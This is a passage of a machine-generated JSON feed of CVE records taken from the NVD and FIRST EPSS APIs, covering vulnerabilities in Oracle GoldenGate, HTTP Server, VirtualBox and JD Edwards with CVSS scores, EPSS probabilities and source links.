CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87351","cveId":"CVE-2026-87351","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle GoldenGate (component: Admin Server Executable).","summary":"Vulnerability in Oracle GoldenGate (component: Admin Server Executable).  Supported versions that are affected are 19.1.0.0.0-19.32.0.0,   21.3-21.23 and   23.4-23.26.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle GoldenGate.  Successful attacks of this vulnerability can result in takeover of Oracle GoldenGate. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle GoldenGate (component: Admin Server Executable).  Supported versions that are affected are 19.1.0.0.0-19.32.0.0,   21.3-21.23 and   23.4-23.26.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle GoldenGate.  Successful attacks of this vulnerability can result in takeover of Oracle GoldenGate. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:12.817Z","updatedAt":"2026-10-23T12:18:16.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87351","asOf":"2026-10-23T12:18:16.783Z"},"epss":{"probability":0.00433,"percentile":0.37302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87351&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87351","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87351","type":"primary","publishedAt":"2026-10-20T22:20:12.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87351&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87351, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87346","cveId":"CVE-2026-87346","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server).","summary":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server.  While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server.  While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:12.243Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87346","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00327,"percentile":0.2557,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87346&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87346","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87346","type":"primary","publishedAt":"2026-10-20T22:20:12.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87346&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87346, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87322","cveId":"CVE-2026-87322","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).","summary":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Easily exploitable vulnerability allows high privileged attacker with access to the physical communication segment attached to the hardware where the Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Easily exploitable vulnerability allows high privileged attacker with access to the physical communication segment attached to the hardware where the Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:09.660Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87322","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00247,"percentile":0.15795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87322&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87322","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87322","type":"primary","publishedAt":"2026-10-20T22:20:09.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87322&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87322, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87316","cveId":"CVE-2026-87316","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:08.967Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87316","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00151,"percentile":0.04192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87316","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87316","type":"primary","publishedAt":"2026-10-20T22:20:08.967Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87316, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87315","cveId":"CVE-2026-87315","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:08.850Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87315","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00341,"percentile":0.27316,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87315","type":"primary","publishedAt":"2026-10-20T22:20:08.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87314","cveId":"CVE-2026-87314","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:08.740Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87314","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00318,"percentile":0.24512,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87314&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87314","type":"primary","publishedAt":"2026-10-20T22:20:08.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87314&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87314, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87313","cveId":"CVE-2026-87313","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:08.623Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87313","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00447,"percentile":0.38571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87313","type":"primary","publishedAt":"2026-10-20T22:20:08.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87312","cveId":"CVE-2026-87312","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:08.510Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87312","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00345,"percentile":0.27833,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87312","type":"primary","publishedAt":"2026-10-20T22:20:08.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87310","cveId":"CVE-2026-87310","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Database and Comm SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Database and Comm SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Database and Comm SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:08.273Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87310","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00447,"percentile":0.38571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87310","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87310","type":"primary","publishedAt":"2026-10-20T22:20:08.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and 